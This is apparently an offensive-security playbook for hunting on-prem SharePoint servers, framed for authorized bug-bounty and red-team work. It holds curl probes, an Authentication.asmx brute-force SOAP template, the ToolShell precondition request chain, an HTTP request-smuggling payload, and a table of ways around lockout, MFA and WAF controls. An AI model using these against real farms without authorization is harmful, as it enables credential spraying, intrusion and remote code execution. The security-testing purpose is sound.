| name | hunt-sharepoint |
| description | Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms auth bridging on-prem AD. Use when target has SharePoint headers (SPRequestGuid, X-MS-InvokeApp, X-SharePointHealthScore, MicrosoftSharePointTeamServices) or paths (/_layouts/15/, /_vti_bin/, /_api/, /_catalogs/). |
| sources | github, authorized-engagement |
| report_count | 1 |
Crown Jewel Targets
SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:
- End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build
15.0.5545.1000 / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
- CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous
/_layouts/15/ToolPane.aspx?DisplayMode=Edit + anonymous __REQUESTDIGEST + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
- Custom branded login pages forget legacy SOAP login.
/_vti_bin/Authentication.asmx with the Login SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.
Highest-value SharePoint targets:
- SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
- Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
- SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
- SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see
hunt-ntlm-info) discloses the parent forest membership.
- Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.
Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.
Attack Surface Signals
Response-header fingerprints (any one is sufficient — usually multiple co-occur):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)
URL / path fingerprints:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)
Body signals (in HTML responses):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)
Tech-stack signals:
Server: Microsoft-IIS/10.0 + paths starting with /_layouts/15/ → SharePoint 2013/2016/2019/SE- AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
WWW-Authenticate: NTLM on /_api/web/CurrentUser → dual-auth (Forms + NTLM); use hunt-ntlm-info for AD-topology disclosure*.test.<customer>.tld → test/staging mirror of production SharePoint; data often mirrored from prod
Step-by-Step Hunting Methodology
-
Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.
curl -sk "https://target.example/_vti_inf.html"
curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.LibraryVersion'
curl -sk "https://target.example/_layouts/15/start.aspx" \
| grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
Map to CVE matrix:
| Build | Edition | Status | Notable unpatched-after-EoL CVEs |
|---|
15.0.5545.1000 | SP2013 final CU | EoL 2023-04-11 | CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794 |
16.0.10416.x | SP2016 | EoL 2026-07-14 | depends on patch level |
16.0.10417.x+ | SP2019 / SE | active | check Microsoft's monthly Patch Tuesday |
-
Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.
/_vti_inf.html → version disclosure
/_layouts/15/start.aspx → version disclosure + session minting
/_layouts/15/blank.htm → benign anchor for smuggling probes
/_layouts/15/error.aspx → request-validator behaviour probe
/_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour
/_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour
/_layouts/15/SignOut.aspx → logout — anonymous OK
/_layouts/15/closeConnection.aspx → anonymous OK
/_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings
/_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings
/_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE)
/_layouts/15/Picker.aspx → SafeControl recon (see step 6)
/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name)
/_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL)
/_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops
/_vti_bin/SharedAccess.asmx → often anonymous
/_vti_bin/spsdisco.aspx → SP service discovery
/_api/contextinfo (POST) → anonymous FormDigest mint (HIGH)
/_api/$metadata → 381KB API surface enumeration
/_api/Search → search service descriptor
/_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
-
Legacy SOAP login bypass via Authentication.asmx. Cross-reference hunt-auth-bypass Legacy-Protocol Matrix. The standard probe:
curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
Severity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."
-
ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:
curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue'
curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-H "X-RequestDigest: <digest from step b>" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if __VIEWSTATEENCRYPTED is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).
IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The <machineKey> (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed __VIEWSTATE for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.
-
NTLM Type-2 AD topology disclosure. Cross-reference hunt-ntlm-info for full methodology. Quick check:
Severity: Medium when chained with internet exposure + default WIN-XXXXXXXXXXX hostname; Informational otherwise.
-
SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:
- Type EXISTS but not whitelisted:
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
- Type DOES NOT exist:
"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
Feed a wordlist of Microsoft.SharePoint.*.WebControls.* and Microsoft.SharePoint.WebPartPages.* types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.
for cls in \
"Microsoft.SharePoint.WebControls.PeopleEditor" \
"Microsoft.SharePoint.WebControls.ItemPicker" \
"Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
; do
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
done
-
download.aspx is NOT outbound SSRF — recognize and don't waste time. SP's /_layouts/15/download.aspx?SourceUrl= is an SP-internal path resolver, not a generic URL fetcher. Behaviours:
- External URL (
http://evil.example.com/x) → 500 with "The Web application at <URL> could not be found" — server tried to resolve as an SP web app, didn't fetch.
- Same-origin file URL → 500 with
"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" — server tried SPFile.OpenBinary, file not found.
- Files matching the extension blocklist (
.ashx, .asmx, .svc, .config) → 500 with "file blocked from this Web site by the server administrators" regardless of whether the file exists.
file://, UNC paths, gopher://, etc. → 500 with "Value does not fall within the expected range" — URL-scheme validator rejects.
The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference hunt-ssrf OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.
The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.
-
Custom-branding module enumeration. Customer-customised SP installations almost always have a /_layouts/15/<CustomerName>/ directory tree. Find the name from the login URL (e.g. /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → customer name is <CustomerName>). Then probe:
for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
"https://target.example/_layouts/15/CustomerName/$sub/"
done
JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper Referer header (some are referer-gated).
-
Search service probe. /_api/Search returns a small JSON descriptor anonymously. /_api/search/query?querytext='X' returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.
-
Authenticated post-login surfaces (if you have valid credentials):
/_api/web/Lists — enumerate lists/_api/web/SiteUsers — enumerate users/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — file enumeration/_layouts/15/people.aspx — user listing- Custom customer-branded modules — check for IDOR, business logic
- Workflow Services (
/_api/SP.WorkflowServices.*)
Payload & Detection Patterns
Authentication.asmx Login (the canonical brute-force endpoint):
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>
Response codes:
<ErrorCode>NoError</ErrorCode> → auth success; <CookieName>FedAuth</CookieName> and <TimeoutSeconds>...</TimeoutSeconds> follow<ErrorCode>PasswordNotMatch</ErrorCode> → auth fail (uniform for non-existent users too — no enum leak via error string)- 500 +
<faultstring>Value cannot be null. Parameter name: userName</faultstring> → empty username
ToolShell precondition reproduction:
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-w "\ncode=%{http_code} size=%{size_download}\n"
HTTP TE.CL smuggling on AWS ELB + SP IIS back-end (consistent on SP farms behind AWS ELB):
POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (Transfer-Encoding : chunked, transfer-encoding: chunked, trailing-space, mixed-case) produce a similar ~6 s hang.
Picker.aspx SafeControl recon:
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
Common Root Causes
-
/_vti_bin/Authentication.asmx left enabled on the public-zone IIS binding. SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.
-
viewStateEncryption="Auto" on layouts pages. SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have __VIEWSTATEENCRYPTED="" — exploitable if machineKey leaks.
-
/_api/contextinfo POST accessible anonymously. SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.
-
NTLM enabled on public-zone IIS binding. Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.
-
SP2013 farms past EoL still internet-exposed. Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).
-
<SafeControl> whitelist in web.config trusted as the only gate. Picker.aspx enforces an instanceof PickerDialog check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.
-
AWS ELB + SP IIS without explicit Transfer-Encoding normalization. Default ELB forwards Transfer-Encoding to back-end IIS; IIS interprets Content-Length when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.
-
Default Windows-installer hostname (WIN-XXXXXXXXXXX) never renamed. Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.
-
Custom-branding module (/_layouts/15/<Customer>/) JS bundles loaded with ?v=YYYYMMDD query strings. The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.
-
Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE. Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.
Bypass Techniques
| Defense | Bypass / Recon Strategy |
|---|
Branded customlogin.aspx with lockout / CAPTCHA / MFA | /_vti_bin/Authentication.asmx legacy SOAP — none of those protections apply |
WWW-Authenticate: NTLM requires authenticated callers | Default IIS extendedProtection=None lets you elicit the Type-2 challenge anonymously — see hunt-ntlm-info |
MicrosoftSharePointTeamServices header stripped at ELB | Body of /_layouts/15/start.aspx leaks version anyway; also /_api/contextinfo's LibraryVersion |
/_vti_bin/lists.asmx 403 (SharedAccess.asmx / Authentication.asmx still open) | Different services have different ACLs; enumerate all asmx separately |
/_api/web/CurrentUser 401 with stack-trace JSON | Stack traces leak even on auth-deny responses; combine with version disclosure |
Anonymous __REQUESTDIGEST issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |
| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see hunt-aspnet) |
WAF blocks < in query | Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts |
Microsoft.SharePoint.WebPartPages.DataFormWebPart blocked via SafeControl patch | Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |
| HTTP/2 H2.CL smuggling | AWS ALBs often don't advertise h2 ALPN — close that family early via openssl s_client -alpn h2,http/1.1 |
Authenticate.aspx wraps Source= in ReturnUrl | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |
Gate 0 Validation
Before writing the report:
-
What can the attacker DO right now?
- Authentication.asmx anonymous + no rate limit → Critical (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)
- Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → Critical (RCE via well-documented public exploit chain, no patch will ship)
- NTLM Type-2 AD topology disclosure + default-Windows hostname → Medium
- SP2013 EoL alone → Medium-Low (compliance / hygiene; bug-bounty programs vary — some accept, many reject)
download.aspx URL echo without confirmed Collaborator callback → NOT SSRF — retract
-
Have you reproduced the full chain to attacker-attainable impact?
- For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.
- For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.
- For NTLM: AV-pair decode showing AD-topology fields is sufficient.
-
Can you reproduce in <10 minutes from a clean shell?
- Authentication.asmx: 2 curl commands.
- ToolShell precondition: 3 curl commands.
- NTLM Type-2: 1 Python snippet (the AV-pair decoder).
Real Impact Examples
Scenario A — a authorized SharePoint engagement against an EoL on-prem farm
Target: https://target-portal.example/ — SharePoint Server 2013 build 15.0.5545.1000 (KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss importer) inside a corporate global AD (customer.parent-corp.example). Server hostname WIN-XXXXXXXXXXX (default Windows installer pattern).
11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:
- Authentication.asmx anonymous credential brute-force — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.
- HTTP request smuggling TE.CL — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.
- ToolShell precondition chain — anonymous GET ToolPane.aspx (200) + anonymous POST
/_api/contextinfo (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + __VIEWSTATEENCRYPTED="". Permanent zero-day on EoL SP2013.
Plus Medium-tier: NTLM Type-2 disclosure of full AD topology (customer.parent-corp.example, WIN-XXXXXXXXXXX); SP2013 EoL exposure.
Scenario B — /_layouts/15/download.aspx?SourceUrl= recognized correctly as NOT-SSRF (saved-time example)
Same target. Initial scan flagged download.aspx?SourceUrl=http://oob.example.com/ as SSRF because the server echoed the URL in the 500 error title ("The Web application at http://oob.example.com/ could not be found"). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion: download.aspx is an SP-internal SPWebApplication / SPFile resolver, NOT a generic URL fetcher. The "echo" is server-side error-string formatting. Saved from reporting an N/A finding by following the hunt-ssrf OOB-Or-It-Didn't-Happen Gate.
Scenario C — CVE-2019-0604 patch verification via Picker.aspx
Same target. Feeding Microsoft.SharePoint.WebPartPages.DataFormWebPart (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — meaning the type EXISTS and is reachable through reflection, but the dialog framework's instanceof PickerDialog patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.
Cross-references
- Authentication.asmx legacy SOAP login → see
hunt-auth-bypass Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.
- NTLM Type-2 AD-topology disclosure → see
hunt-ntlm-info for AV-pair decoder + severity rubric.
- ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass → see
hunt-aspnet.
- HTTP request smuggling on AWS ELB + IIS → see
hunt-http-smuggling.
- OOB confirmation of any SSRF claim on SP → see
hunt-ssrf OOB-Or-It-Didn't-Happen Gate.
- Engagement-type confirmation before treating hygiene findings as bug-bounty submissions → see
bb-methodology PART 0 Mode-Confirmation Gate.
Related Skills & Chains
hunt-auth-bypass — Legacy SOAP /_vti_bin/Authentication.asmx accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → hunt-auth-bypass brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → /_layouts/15/ authenticated surface.hunt-ntlm-info — Every SharePoint farm advertises WWW-Authenticate: NTLM anonymously on /_vti_bin/. Chain primitive: SharePoint NTLM Type-2 challenge capture → hunt-ntlm-info AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into m365-entra-attack ROPC user-enumeration spray on tenant tied to that domain.hunt-aspnet — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → hunt-aspnet ViewState dual-parser MAC-bypass → deserialization gadget → RCE in w3wp.exe as farm account.hunt-rce — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (/_layouts/15/ToolPane.aspx?DisplayMode=Edit reachable via the CVE-2025-49706 auth bypass — a crafted Referer header pointing at ToolPane.aspx — + version vulnerable) → hunt-rce deserialization gadget chain → SYSTEM/farm-account shell → m365-entra-attack lateral via stolen on-prem service-account token to Entra-synced identity.triage-validation — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.
